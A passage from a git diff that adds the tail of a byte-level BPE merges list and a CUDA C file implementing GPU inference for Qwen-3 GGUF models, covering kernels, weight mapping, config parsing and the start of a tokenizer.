¢ +ðŁı ĩ +È ² +Ê ¶ +Ô Ī +Ô ij +Ý ĵ +Ý ¥ +ठij +ॠ± +ଠī +à° ³ +à° µ +à² Ł +áĢ ı +áģ ¼ +áī ¨ +áĬ Ĵ +áĭ © +áĮ Ħ +áĮ Ķ +áIJ § +á ĴĮ +áĶ ħ +áĶ Ĭ +áł Ħ +ᨠģ +Ḡĥ +Ḡ» +âĶ ŀ +âĺ µ +âļ £ +â² ¢ +ãĪ ª +ä¶ µ +ê² Ļ +ê² ´ +ê³ Ĥ +ë¡ ¼ +ìĨ Ĭ +ì¼ ĩ +íĭ į +íĵ ¬ +íĵ ® +íĵ ¶ +íĵ » +ï¤ ¦ +ï¥ ł +ï¥ ± +ïŃ ² +ðIJŃ Ĭ +ðIJ ±ħ +ðĸ ¥ +ðĸ¥ ¨ +ðĿij ³ +ðĿĵ ķ +ðĿĵ ¬ +ðĿĵ ¹ +ðĿĵ ¾ +ðĿĶ ĵ +ðĿķ į +ðĿķ ¡ +ðĿķ ± +ðĿĸ ĸ +ðĿĺ ı +ðĿĺ IJ +ðĿĺ ļ +ðĿĻ ® +ðĿĻ ° +ðĿĻ ¸ +ðĿĻ º +ðĿĻ ¼ +ðĿĻ ½ +ðĿĻ ¿ +ðĿļ Ħ +ðĿļ ı +ðŁħ ħ +ðŁħ ĵ +Æ Ī +àł Į +áĻ ³ +á ļĮ +ἠħ +ἠIJ +ᤠĬ +ḠĬ +âĶ ½ +âķ Ĭ +⼠ĩ +⼠ı +âĿ ª +âĿ « +⣠° +ãĦ į +ãĦ ĵ +ãĦ § +ãħ ĸ +ãī « +ê¦ Ķ +ï± Ĭ +ຠĤ +áħ £ +á¥ Ķ +ᥠ¤ +âĨ ¤ +âĨ · +âĩ ŀ +âĸ ¤ +âŀ ¶ +ãĪ ¼ +ï¨ · +ðĵı § +âĶ ² +âĢ ´ +âĴ Ł +âĴ ¡ +â° Ĥ +â° į +â° İ +â° IJ +â° ij +â° Ł +â° ł +â° ¡ +â¼ Ń +ãĬ ¥ +âĴ ł +â½ º +ãĩ º +ãĩ ½ +ï¨ Ĭ +áķ · +âį ¨ +âº Ł diff --git a/src/xpu/flamegraph/qwen3.cu/runcu.cu b/src/xpu/flamegraph/qwen3.cu/runcu.cu new file mode 100644 index 00000000..e69afe73 --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/runcu.cu @@ -0,0 +1,1459 @@ +/* Inference for GGUF Qwen-3 models in pure C */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + + +#ifdef USE_CUBLAS +#include + +// cublas handle +cublasHandle_t g_cublas_handle = nullptr; + +void create_cublas_handle() +{ + cublasStatus_t stat = cublasCreate(&g_cublas_handle); // FIXME cublasDestroy + if (stat != CUBLAS_STATUS_SUCCESS) + { + printf("CUBLAS initialization failed\n"); + exit(EXIT_FAILURE); + } +} +void destroy_cublas_handle() +{ + cublasStatus_t stat = cublasDestroy(g_cublas_handle); + if (stat != CUBLAS_STATUS_SUCCESS) + { + printf("CUBLAS initialization failed\n"); + exit(EXIT_FAILURE); + } +} +#endif + +// ---------------------------------------------------------------------------- +// Transformer model +typedef struct { + int dim; // transformer dimension + int hidden_dim; // for ffn layers + int n_layers; // number of layers + int n_heads; // number of query heads + int n_kv_heads; // number of key/value heads (can be < query heads because of multiquery) + int vocab_size; // vocabulary size + int seq_len; // max sequence length + int head_dim; // attention dimension +} Config; + +typedef struct { + // token embedding table + float* token_embedding_table; // (vocab_size, dim) + // weights for rmsnorms in each layer + float* rms_att_weight; // (layer, dim) + float* rms_ffn_weight; // (layer, dim) + // weights for matmuls + float* wq; // (layer, dim, n_heads * head_dim) + float* wk; // (layer, dim, n_kv_heads * head_dim) + float* wv; // (layer, dim, n_kv_heads * head_dim) + float* wo; // (layer, n_heads * head_dim, dim) + float* wq_norm; // (layer, head_dim) + float* wk_norm; // (layer, head_dim) + // weights for ffn. w1 = up, w3 = gate, w2 = down + float* w1; // (layer, dim, hidden_dim) + float* w2; // (layer, hidden_dim, dim) + float* w3; // (layer, dim, hidden_dim) + // final rmsnorm + float* rms_final_weight; // (dim,) + // Same as token_embedding_table. GGUF has the final layer anyway + float* wcls; +} TransformerWeights; + +typedef struct { + // current wave of activations + float* x; // activation at current time stamp (dim,) + float* xb; // buffer (dim,) + float* xb2; // an additional buffer just for convenience (dim,) + float* xb3; // an additional buffer just for convenience (att_head_dim,) + float* hb; // buffer for hidden dimension in the ffn (hidden_dim,) + float* hb2; // buffer for hidden dimension in the ffn (hidden_dim,) + float* q; // query (att_head_dim,) + float* k; // key (dim,) + float* v; // value (dim,) + float* att; // buffer for scores/attention values (n_heads, seq_len) + float* logits; // output logits + + float *d_logits; // CUDA logits + + // kv cache + float* key_cache; // (layer, seq_len, dim) + float* value_cache; // (layer, seq_len, dim) +} RunState; + +typedef struct { + Config config; // the hyperparameters of the architecture (the blueprint) + TransformerWeights weights; // the weights of the model + RunState state; // buffers for the "wave" of activations in the forward pass + int fd; // file descriptor for memory mapping + float* data; // memory mapped data pointer + ssize_t file_size; // size of the checkpoint file in bytes +} Transformer; + + +// Macro for checking CUDA errors +#define CUDA_CHECK(call) do { \ + cudaError_t err = call; \ + if (err != cudaSuccess) { \ + fprintf(stderr, "CUDA error at %s:%d - %s\n", __FILE__, __LINE__, cudaGetErrorString(err)); \ + exit(EXIT_FAILURE); \ + } \ +} while(0) + +void malloc_run_state(RunState* s, Config *p) { + // we calloc instead of malloc to keep valgrind happy + int att_head_dim = p->n_heads * p->head_dim; + int kv_dim = p->n_kv_heads * p->head_dim; // 1024 + + CUDA_CHECK(cudaMalloc(&s->x, p->dim * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->xb, p->dim * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->xb2, p->dim * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->xb3, att_head_dim * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->hb, p->hidden_dim * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->hb2, p->hidden_dim * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->q, att_head_dim * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->k, kv_dim * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->v, kv_dim * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->att, p->n_heads * p->seq_len * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->d_logits, p->vocab_size * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->key_cache, p->n_layers * p->seq_len * kv_dim * sizeof(float))); + CUDA_CHECK(cudaMalloc(&s->value_cache, p->n_layers * p->seq_len * kv_dim * sizeof(float))); + + s->logits = (float *)calloc(p->vocab_size, sizeof(float)); + + // ensure all mallocs went fine + if (!s->x || !s->xb || !s->xb2 || !s->xb3 || !s->hb || !s->hb2 || !s->q || !s->k || !s->v || !s->att || !s->logits || !s->d_logits || !s->key_cache || !s->value_cache) { + fprintf(stderr, "malloc failed!\n"); + exit(EXIT_FAILURE); + } +} + +void free_run_state(RunState* s) { + CUDA_CHECK(cudaFree(s->x)); + CUDA_CHECK(cudaFree(s->xb)); + CUDA_CHECK(cudaFree(s->xb2)); + CUDA_CHECK(cudaFree(s->xb3)); + CUDA_CHECK(cudaFree(s->hb)); + CUDA_CHECK(cudaFree(s->hb2)); + CUDA_CHECK(cudaFree(s->q)); + CUDA_CHECK(cudaFree(s->k)); + CUDA_CHECK(cudaFree(s->v)); + CUDA_CHECK(cudaFree(s->att)); + CUDA_CHECK(cudaFree(s->d_logits)); + CUDA_CHECK(cudaFree(s->key_cache)); + CUDA_CHECK(cudaFree(s->value_cache)); + free(s->logits); +} + +// Map GGUF layers to transformer weights +void memory_map_weights(TransformerWeights* w, Config* p, void* pt) { + //unsigned long long n_layers = p->n_layers; + float *ptr = (float*) pt; + + w->wcls = ptr; // last layer in TR + ptr += p->vocab_size * p->dim; + w->rms_final_weight = ptr; // right before the last + ptr += p->dim; + w->token_embedding_table = ptr; // first layer + ptr += p->vocab_size * p->dim; + w->wk = ptr; + ptr += p->dim * (p->n_kv_heads * p->head_dim); // 1024 x 1024 = dim (1024) x num_kv_heads (8) x p->head_dim (128) + w->wk_norm = ptr; + ptr += p->head_dim; //head_dim (128) + w->rms_att_weight = ptr; + ptr += p->dim; //dimension (1024) + w->wo = ptr; + ptr += (p->n_heads * p->head_dim) * p->dim; // attention heads (16) x head dim (128) * dim + w->wq = ptr; + ptr += p->dim * (p->n_heads * p->head_dim); + w->wq_norm = ptr; + ptr += p->head_dim; //head_dim (128) + w->wv = ptr; + ptr += p->dim * (p->n_kv_heads * p->head_dim); // equal to wk + w->w2 = ptr; + ptr += p->hidden_dim * p->dim; //ffn.down 3072 *1024 + w->w3 = ptr; + ptr += p->dim * p->hidden_dim; // ffn.gate + w->rms_ffn_weight = ptr; + ptr += p->dim; // ffn.norm + w->w1 = ptr; + ptr += p->dim * p->hidden_dim; //ffn.up +} + +// -------------------------------------- +// read GGUF +void read_checkpoint(char *checkpoint, Config *config, TransformerWeights* weights, int* fd, float** data, ssize_t* file_size) { + FILE *file = fopen(checkpoint, "rb"); + if (!file) { fprintf(stderr, "Couldn't open file %s\n", checkpoint); exit(EXIT_FAILURE); } + fseek(file, 0, SEEK_END); // move file pointer to end of file + *file_size = (ssize_t)ftell(file); // get the file size, in bytes + fclose(file); + + //printf("file size is %zd", *file_size); + + // memory map the Transformer weights into the data pointer + *fd = open(checkpoint, O_RDONLY); // open in read only mode + if (*fd == -1) { fprintf(stderr, "open failed!\n"); exit(EXIT_FAILURE); } + + *data = (float*) mmap(NULL, *file_size, PROT_READ, MAP_PRIVATE, *fd, 0); + if (*data == MAP_FAILED) { fprintf(stderr, "mmap failed!\n"); exit(EXIT_FAILURE); } + + // CUDA + float* d_weights_ptr; + // gguf total header = file size - (last tensor size + last offset) + size_t weights_size = *file_size - 5951648; // skip header bytes. header_size = 5951648 TODO + CUDA_CHECK(cudaMalloc((void**)&d_weights_ptr, weights_size)); + CUDA_CHECK(cudaMemcpy(d_weights_ptr, (*data) + 5951648/4, weights_size, cudaMemcpyHostToDevice)); + + memory_map_weights(weights, config, d_weights_ptr); +} + +void build_transformer(Transformer *t, char *checkpoint_path) { + // read in the Weights from the GGUF + read_checkpoint(checkpoint_path, &t->config, &t->weights, &t->fd, &t->data, &t->file_size); + // allocate the RunState buffers + malloc_run_state(&t->state, &t->config); +} + +void free_transformer(Transformer *t) { + if (t->data && t->data != MAP_FAILED) { + munmap(t->data, t->file_size); + t->data = NULL; + } + // CUDA_CHECK(cudaFree(t->weights.token_embedding_table)); +} + +// load the GGUF config file +void load_config(Transformer *t) { + FILE *f = fopen("header.txt", "r"); + if (!f) {perror("Failed to open header.txt"); exit(1);} + + char line[512]; + int line_num = 0; + + while (fgets(line, sizeof(line), f)) { + line_num++; + + char *cfg = strtok(line, " "); + while (cfg) { + char *eq = strchr(cfg, '='); + if (!eq) { + //fprintf(stderr, "Warning: malformed cfg on line %d: %s\n", line_num, cfg); + cfg = strtok(NULL, " "); + continue; + } + + *eq = '\0'; + char *key = cfg; + char *val = eq + 1; + + // Match keys + if (strcmp(key, "QWEN3_EMBEDDING_LENGTH") == 0) { + t->config.dim = atoi(val); + } else if (strcmp(key, "QWEN3_FEED_FORWARD_LENGTH") == 0) { + t->config.hidden_dim = atoi(val); + } else if (strcmp(key, "QWEN3_BLOCK_COUNT") == 0) { + t->config.n_layers = atoi(val); + } else if (strcmp(key, "QWEN3_ATTENTION_HEAD_COUNT") == 0) { + t->config.n_heads = atoi(val); + } else if (strcmp(key, "QWEN3_ATTENTION_HEAD_COUNT_KV") == 0) { + t->config.n_kv_heads = atoi(val); + } else if (strcmp(key, "QWEN3_CONTEXT_LENGTH") == 0) { + t->config.seq_len = atoi(val); + t->config.seq_len = 4096; //OVERWRITE TEMP + } else if (strcmp(key, "QWEN3_ATTENTION_KEY_LENGTH") == 0) { + t->config.head_dim = atoi(val); + }else if (strncmp(key, "TOKENIZER_GGML_TOKENS", 22) == 0) { + char *len_ptr = strstr(val, "ARRAY_LENGTH="); //handling nested config + if (len_ptr) { + t->config.vocab_size = atoi(len_ptr + strlen("ARRAY_LENGTH=")); + } + } + cfg = strtok(NULL, " "); + } + } + fclose(f); +} + +// ---------------------------------------------------------------------------- +// neural net blocks; the dynamics of the Transformer +// CUDA version + +// Utility routine to divide a into ceiling of b parts +int divUp(int a, int b) +{ + return (a - 1) / b + 1; +} + +const int num_threads_lrg = 1024; +const int num_threads_med = 256; + +//========== RMS ===== +__global__ void rmsnorm_kernel(float *o, float *x, float *weight, int size, int elementsPerThread) +{ + __shared__ float sdata[num_threads_lrg]; + + // compute partial sum of squares + float ss = 0.0f; + for (int i = 0; i < elementsPerThread; i++) + { + int j = threadIdx.x + i * num_threads_lrg; + if (j < size) + ss += x[j] * x[j]; + } + + sdata[threadIdx.x] = ss; + __syncthreads(); + + for (int stride = blockDim.x / 2; stride > 0; stride >>= 1) { + if (threadIdx.x < stride) + sdata[threadIdx.x] += sdata[threadIdx.x + stride]; + __syncthreads(); + } + + if (threadIdx.x == 0) { + ss = sdata[0] / size + 1e-6f; + sdata[0] = 1.0f / sqrtf(ss); + } + __syncthreads(); + ss = sdata[0]; + + for (int i = 0; i < elementsPerThread; i++) + { + int j = threadIdx.x + i * num_threads_lrg; + if (j < size) + o[j] = weight[j] * (ss * x[j]); + } +} + +void rmsnorm(float *o, float *x, float *weight, int size) +{ + int elementsPerThread = divUp(size, num_threads_lrg); + rmsnorm_kernel<<<1, num_threads_lrg>>>(o, x, weight, size, elementsPerThread); +} + + +__global__ void rmsnorm_kernel_multihead(float *o, float *x, float *weight, + int head_dim, int elementsPerThread, + int n_heads) +{ + __shared__ float sdata[num_threads_lrg]; + + // Get head index from block ID + int head = blockIdx.x; + if (head >= n_heads) return; + + // Calculate offsets for this head + float *head_input = x + head * head_dim; + float *head_output = o + head * head_dim; + // Note: weight is shared across all heads (same normalization weights) + + // compute partial sum of squares + float ss = 0.0f; + for (int i = 0; i < elementsPerThread; i++) + { + int j = threadIdx.x + i * num_threads_lrg; + if (j < head_dim) + ss += head_input[j] * head_input[j]; + } + + sdata[threadIdx.x] = ss; + __syncthreads(); + + for (int stride = blockDim.x / 2; stride > 0; stride >>= 1) { + if (threadIdx.x < stride) + sdata[threadIdx.x] += sdata[threadIdx.x + stride]; + __syncthreads(); + } + + if (threadIdx.x == 0) { + ss = sdata[0] / head_dim + 1e-6f; + sdata[0] = 1.0f / sqrtf(ss); + } + __syncthreads(); + ss = sdata[0]; + + for (int i = 0; i < elementsPerThread; i++) + { + int j = threadIdx.x + i * num_threads_lrg; + if (j < head_dim) + head_output[j] = weight[j] * (ss * head_input[j]); + } +} + + +void rmsnorm_multihead(float *o, float *x, float *weight, int head_dim, int n_heads) +{ + int elementsPerThread = divUp(head_dim, num_threads_lrg); + + // Launch one block per head + rmsnorm_kernel_multihead<<>>( + o, x, weight, head_dim, elementsPerThread, n_heads + ); +} + + +//========== Softmax in GPU ===== +__device__ void softmax_gpu(float *__restrict__ x, int size) +{ + __shared__ float sdata[num_threads_lrg]; + int tid = threadIdx.x; + int step = blockDim.x; + + // find max value (for numerical stability) + float max_val = tid < size ? x[tid] : -INFINITY; + for (int i = tid + step; i < size; i += step) + { + if (x[i] > max_val) + max_val = x[i]; + } + + sdata[tid] = max_val; + __syncthreads(); + + for (int stride = blockDim.x / 2; stride > 0; stride >>= 1) { + if (tid < stride) + sdata[tid] = fmaxf(sdata[tid], sdata[tid + stride]); + __syncthreads(); + } + max_val = sdata[0]; + + // exp and sum + float sum = 0.0f; + for (int i = tid; i < size; i += step) + { + x[i] = expf(x[i] - max_val); + sum += x[i]; + } + + sdata[tid] = sum; + __syncthreads(); + + for (int stride = blockDim.x / 2; stride > 0; stride >>= 1) { + if (tid < stride) + sdata[tid] += sdata[tid + stride]; + __syncthreads(); + } + sum = sdata[0]; + + // normalize + for (int i = tid; i < size; i += step) + x[i] /= sum; +} + +void softmax(float* x, int size) { + // find max value (for numerical stability) + float max_val = x[0]; + for (int i = 1; i < size; i++) { + if (x[i] > max_val) { + max_val = x[i]; + } + } + // exp and sum + float sum = 0.0f; + for (int i = 0; i < size; i++) { + x[i] = expf(x[i] - max_val); + sum += x[i]; + } + + // normalize + for (int i = 0; i < size; i++) { + x[i] /= sum; + } +} + + +// Use cuBLAS for matmul to leverage this included, high-performance library. +#ifdef USE_CUBLAS +void matmul(float *xout, float *x, float *w, int n, int d) +{ + // W (d,n) @ x (n,) -> xout (d,) + // W is stored in this order: (n=0,d=0), (n=1,d=0), (n=2,d=0), ... + // so W is n x d in cublas terms & we'll need to transpose. + // Sgemv does y = alpha * op(A) * x + beta * y (modifying y) + // where op can transpose the matrix A + // Translating to our local vars, that is + // xout = 1.0*op(w)*x + 0.0*xout + float alpha = 1.0f; + float beta = 0.0f; // when this is 0, xout will not be used for input + cublasSgemv(g_cublas_handle, CUBLAS_OP_T, n, d, &alpha, w, n, x, 1, &beta, xout, 1); +} +#else + +__global__ void matmul_kernel(float *xout, float *x, float *w, int n, int d) { + int i = blockIdx.x * blockDim.x + threadIdx.x; + int tid = threadIdx.x; + + extern __shared__ float shared_x[]; + + // Load x into shared memory in chunks + for (int offset = 0; offset < n; offset += blockDim.x) { + if (offset + tid < n) { + shared_x[tid] = x[offset + tid]; + } + __syncthreads(); + + if (i < d) { + float sum = 0.0f; + int chunk_size = min(blockDim.x, n - offset); + + // Vectorized loads and computation + float4 *w_vec = (float4*)(w + i * n + offset); + float4 *x_vec = (float4*)shared_x; + + int vec_ops = chunk_size / 4; + for (int v = 0; v < vec_ops; v++) { + float4 w4 = w_vec[v]; + float4 x4 = x_vec[v]; + sum += w4.x * x4.x + w4.y * x4.y + w4.z * x4.z + w4.w * x4.w; + } + + // Handle remaining elements + for (int j = vec_ops * 4; j < chunk_size; j++) { + sum += w[i * n + offset + j] * shared_x[j]; + } + + if (offset == 0) xout[i] = sum; + else xout[i] += sum; + } + __syncthreads(); + } +} + +void matmul(float *xout, float *x, float *w, int n, int d) { + int block_size = 256; + int grid_size = (d + block_size - 1) / block_size; + int shared_mem = block_size * sizeof(float); + matmul_kernel<<>>(xout, x, w, n, d); +} +#endif + +// multihead attention +__global__ void multi_head_attention_kernel(int pos, int seq_len, float *sq, float *satt, float *sxb, float *key_cache, float *value_cache, int kv_dim, int kv_mul, int head_size, int loff) +{ + int h = blockIdx.x; + // get the query vector for this head + float *q = sq + h * head_size; + // attention scores for this head + float *att = satt + h * seq_len; + // iterate over all timesteps, including the current one + // In CUDA, each thread does a small portion of the calc + for (int t = threadIdx.x; t <= pos; t += blockDim.x) + { + // get the key vector for this head and at this timestep + float *k = key_cache + loff + t * kv_dim + (h / kv_mul) * head_size; + // calculate the attention score as the dot product of q and k + float score = 0.0f; + for (int i = 0; i < head_size; i++) + { + score += q[i] * k[i]; + } + score /= sqrtf(head_size); + // save the score to the attention buffer + att[t] = score; + } + // above was this threads portion of the iteration. wait for all threads to finish + __syncthreads(); + + // softmax the scores to get attention weights, from 0..pos inclusively + softmax_gpu(att, pos + 1); + __syncthreads(); + + // weighted sum of the values, store back into xb + // NOTE: by swapping the order of the for loops (vs. C) a simpler + // version of the code accomplishes the same task and fits more + // naturally with the CUDA way of subdividing the problem. + float *xb = sxb + h * head_size; + for (int i = threadIdx.x; i < head_size; i += blockDim.x) + { + float val = 0.0f; + for (int t = 0; t <= pos; t++) + { + // get the value vector for this head and at this timestep + float *v = value_cache + loff + t * kv_dim + (h / kv_mul) * head_size; + // get the attention weight for this timestep + float a = att[t]; + val += a * v[i]; + } + xb[i] = val; + } +} +void multi_head_attention(int pos, Config *p, RunState *s, int kv_dim, int kv_mul, int head_size, int loff) +{ + multi_head_attention_kernel<<n_heads, num_threads_lrg>>>(pos, p->seq_len, s->q, s->att, s->xb3, s->key_cache, s->value_cache, kv_dim, kv_mul, head_size, loff); +} // Fixed xb to xb3 + +//-------Activation----------- +__global__ void f_silu_elementwise_mul_w3_kernel(float *shb, float *shb2, int hidden_dim) +{ + int i = blockIdx.x * blockDim.x + threadIdx.x; + if (i < hidden_dim) + { + float val = shb2[i]; + // silu(x)=x*σ(x), where σ(x) is the logistic sigmoid + val *= (1.0f / (1.0f + expf(-val))); + // elementwise multiply with w3(x) + val *= shb[i]; + shb2[i] = val; + } +} +void f_silu_elementwise_mul_w3(RunState *s, int hidden_dim) +{ + f_silu_elementwise_mul_w3_kernel<<>>(s->hb, s->hb2, hidden_dim); +} + +//------Residual Connection---------- +__global__ void accum_kernel(float *a, float *b, int size) +{ + int i = blockIdx.x * blockDim.x + threadIdx.x; + if (i < size) + { + a[i] += b[i]; + } +} + +void accum(float *a, float *b, int size) +{ + accum_kernel<<>>(a, b, size); +} + + +// Unified kernel for both Q and K RoPE rotation +__global__ void RoPe_rotation_kernel_multihead(int pos, float *tensor, int head_dim, + int kv_dim, int att_head_dim, int n_heads) +{ + // Get head and element indices + int head = blockIdx.x; + int i = threadIdx.x; + + if (head >= n_heads || i >= head_dim / 2) return; + + // Calculate offset for this head + float *head_tensor = tensor + head * head_dim; + + float freq = 1.0f / powf(1000000.0f, (float)i / (head_dim / 2)); + float fcr = cosf(pos * freq); + float fci = sinf(pos * freq); + + // Rotate tensor head (works for both Q and K) + float x = head_tensor[i]; + float y = head_tensor[i + head_dim / 2]; + head_tensor[i] = x * fcr - y * fci; + head_tensor[i + head_dim / 2] = x * fci + y * fcr; +} + +// Unified host function for both Q and K RoPE rotation +void RoPe_rotation_multihead(int pos, float *tensor, int head_dim, int kv_dim, + int att_head_dim, int n_heads) +{ + // Launch one block per head, threads per element + RoPe_rotation_kernel_multihead<<>>( + pos, tensor, head_dim, kv_dim, att_head_dim, n_heads + ); +} + + +//====================================== +// FORWARD PASS +float *forward(Transformer *transformer, int token, int pos) +{ + Config* p = &transformer->config; + TransformerWeights* w = &transformer->weights; + RunState* s = &transformer->state; + + int kv_dim = p->n_kv_heads * p->head_dim; + int kv_mul = p->n_heads / p->n_kv_heads; + int att_head_dim = p->n_heads * p->head_dim; + + int layer_offset = 62923776/4; // offset to the GGUF next layer for the same tensor type TODO + + // copy the token embedding into s->x in GPU, STARTING POINT - x is passing through. + float *content_row = w->token_embedding_table + token * p->dim; + CUDA_CHECK(cudaMemcpy(s->x, content_row, p->dim * sizeof(*s->x), cudaMemcpyHostToDevice)); + + // forward all the layers + for (int l = 0; l < p->n_layers; l++) { + // kv cache + int loff = l * p->seq_len * kv_dim; + s->k = s->key_cache + loff + pos * kv_dim; + s->v = s->value_cache + loff + pos * kv_dim; + + // attention rmsnorm + rmsnorm(s->xb, s->x, w->rms_att_weight + l * layer_offset, p->dim); + + // Query, key, value computation + matmul(s->q, s->xb, w->wq + l *layer_offset, p->dim, att_head_dim); + matmul(s->k, s->xb, w->wk + l *layer_offset, p->dim, kv_dim); + matmul(s->v, s->xb, w->wv + l *layer_offset, p->dim, kv_dim); + + // Apply RMSNorm to ALL query heads + rmsnorm_multihead(s->q, s->q, w->wq_norm + l * layer_offset, p->head_dim, p->n_heads); + // Apply RoPE to Q + RoPe_rotation_multihead(pos, s->q, p->head_dim, kv_dim, att_head_dim, p->n_heads); + + // Apply RMSNorm to ALL key heads + rmsnorm_multihead(s->k, s->k, w->wk_norm + l * layer_offset, p->head_dim, p->n_kv_heads); + // Apply RoPE to K + RoPe_rotation_multihead(pos, s->k, p->head_dim, kv_dim, att_head_dim, p->n_kv_heads); + + multi_head_attention(pos, p, s, kv_dim, kv_mul, p->head_dim, loff); + + // Output projection + matmul(s->xb2, s->xb3, w->wo + l *layer_offset, att_head_dim, p->dim); + + // Grouped-query attetion ends. Residual connection + accum(s->x, s->xb2, p->dim); + + + // FFN + rmsnorm(s->xb, s->x, w->rms_ffn_weight + l *layer_offset /* * p->dim*/ , p->dim); + matmul(s->hb, s->xb, w->w1 + l *layer_offset, p->dim, p->hidden_dim); // Up + matmul(s->hb2, s->xb, w->w3 + l *layer_offset, p->dim, p->hidden_dim); // Gate + f_silu_elementwise_mul_w3(s, p->hidden_dim); // Activation + matmul(s->xb, s->hb2, w->w2 + l *layer_offset, p->hidden_dim, p->dim); // Down + + // residual connection + accum(s->x, s->xb, p->dim); + } + + // Final norm after layers and right before logiting + rmsnorm(s->x, s->x, w->rms_final_weight, p->dim); + + // Calc logits in GPU and move it to CPU + matmul(s->d_logits, s->x, w->wcls, p->dim, p->vocab_size); + CUDA_CHECK(cudaMemcpy(s->logits, s->d_logits, p->vocab_size * sizeof(float), cudaMemcpyDeviceToHost)); + + return s->logits; +} + +// ---------------------------------------------------------------------------- +// TOKENIZER +// The Byte Pair Encoding (BPE) Tokenizer that translates strings <-> tokens + +typedef struct { + char **vocab; + float *merge_scores; + int vocab_size; + unsigned int max_token_length; + unsigned int bos_token_id; + unsigned int eos_token_id; + char prompt_template[1024]; + char system_prompt_template[1024]; +} Tokenizer; + +// ========== GLOBALS ========== + +// TODO +#define MAX_VOCAB 151936 +#define MAX_MERGES 151386 +#define MAX_TOKENS 1024 +#define MAX_TOKEN_LEN 32 + +char *vocab[MAX_VOCAB]; +int num_vocab = 0; + +typedef struct { + char left[MAX_TOKEN_LEN]; + char right[MAX_TOKEN_LEN]; + char merged[MAX_TOKEN_LEN * 2]; + int rank; +} MergeRule; + +MergeRule merges[MAX_MERGES]; +int merge_count = 0; + +unsigned int byte_to_unicode[256]; +char unicode_bytes[256][5]; + +//special token +const char *special_tokens[] = { + "<|im_start|>", + "<|im_end|>", + "", + "" +}; +int num_special_tokens = sizeof(special_tokens) / sizeof(special_tokens[0]); + +typedef struct { + int *data; // token ID array + size_t size; // number of tokens stored + size_t capacity; // total allocated capacity +} TokenBuffer; + +// ========== LOAD VOCAB ========== +void load_vocab(const char *path) { + FILE *f = fopen(path, "r"); + if (!f) { + perror("fopen"); + exit(1); + } + + char line[512]; // large enough to hold most tokens safely + int line_num = 0; + + while (fgets(line, sizeof(line), f)) { + line_num++; + + // Remove trailing newline / carriage return + line[strcspn(line, "\r\n")] = '\0'; + + // Skip empty lines + if (line[0] == '\0') continue; + + if (num_vocab >= MAX_VOCAB) { + fprintf(stderr, "Error: vocab exceeds MAX_VOCAB (%d)\n", MAX_VOCAB); + break; + } + + vocab[num_vocab] = strdup(line); + if (!vocab[num_vocab]) { + fprintf(stderr, "Error: strdup failed on line %d\n", line_num); + exit(1); + } + num_vocab++; + } + fclose(f); +} + +void free_vocab() { + for (int i = 0; i < num_vocab; i++) { + free(vocab[i]); // Free each string + vocab[i] = NULL; + } + num_vocab = 0; +} + +// ========== LOAD MERGES ========== +void load_merges(const char *path) { + FILE *f = fopen(path, "r"); + if (!f) { perror("merges.txt"); exit(1); } + char line[256]; + while (fgets(line, sizeof(line), f)) { + if (line[0] == '#' || isspace(line[0])) continue; + char *a = strtok(line, " \t\r\n"); + char *b = strtok(NULL, " \t\r\n"); + if (!a || !b) continue; + strncpy(merges[merge_count].left, a, MAX_TOKEN_LEN); + strncpy(merges[merge_count].right, b, MAX_TOKEN_LEN); + snprintf(merges[merge_count].merged, sizeof(merges[merge_count].merged), "%s%s", a, b); + merges[merge_count].rank = merge_count; + merge_count++; + } + fclose(f); +} + +bool pair_equals(const char *a, const char *b, const char *left, const char *right) { + return strcmp(a, left) == 0 && strcmp(b, right) == 0; +} + +int get_merge_rank(const char *left, const char *right) { + for (int i = 0; i < merge_count; i++) { + if (pair_equals(left, right, merges[i].left, merges[i].right)) { + return merges[i].rank; + } + } + return INT_MAX; +} + +// ========== BYTE-TO-UNICODE ========== +void init_byte_unicode_map() { + int n = 0; + for (int b = 0; b < 256; b++) { + // party for gpt-2 based tokenizer + if ((b >= 33 && b <= 126) || // ASCII + (b >= 161 && b <= 172) || // Latin-1 + (b >= 174 && b <= 255)) { // Latin-1 except 173 + byte_to_unicode[b] = b; + } else { + byte_to_unicode[b] = 256 + n++; // Map out of Unicode range + } + + // Direct UTF-8 encoding + uint32_t cp = byte_to_unicode[b]; + if (cp < 128) { // 1-byte UTF-8 + unicode_bytes[b][0] = cp; + unicode_bytes[b][1] = '\0'; + } + else if (cp < 2048) { // 2-byte UTF-8 + unicode_bytes[b][0] = 0xC0 | (cp >> 6); + unicode_bytes[b][1] = 0x80 | (cp & 0x3F); + unicode_bytes[b][2] = '\0'; + } + else { // 3-byte UTF-8 + unicode_bytes[b][0] = 0xE0 | (cp >> 12); + unicode_bytes[b][1] = 0x80 | ((cp >> 6) & 0x3F); + unicode_bytes[b][2] = 0x80 | (cp & 0x3F); + unicode_bytes[b][3] = '\0'; + } + } +} + +// TODO. Returns -1 if not a special token, else index into vocab[] +int match_special_token(const char *str, int *match_len) { + for (int i = 0; i < num_special_tokens; i++) { + const char *tok = special_tokens[i]; + int len = strlen(tok); + if (strncmp(str, tok, len) == 0) { + // Now check if this token exists in vocab + for (int j = 0; j < 151936; j++) { + if (strcmp(vocab[j], tok) == 0) { + *match_len = len; + return j; // return token ID + } + } + } + } + return -1; +} + +void build_tokenizer(Tokenizer* t) { + load_vocab("vocab.txt"); + load_merges("merges.txt"); + init_byte_unicode_map(); +} + +// build buffer +void build_token_buffer(TokenBuffer *tb, size_t initial_capacity) { + tb->data = (int *) malloc(initial_capacity * sizeof(int)); + if (!tb->data) { perror("malloc"); exit(1); } + tb->size = 0; + tb->capacity = initial_capacity; +} + +void free_token_buffer(TokenBuffer *tb) { + free(tb->data); + tb->data = NULL; + tb->size = 0; + tb->capacity = 0; +} +void append_tokens(TokenBuffer *tb, const int *tokens, size_t n) { + if (tb->size + n > tb->capacity) { + while (tb->size + n > tb->capacity) tb->capacity *= 2; + tb->data = (int *) realloc(tb->data, 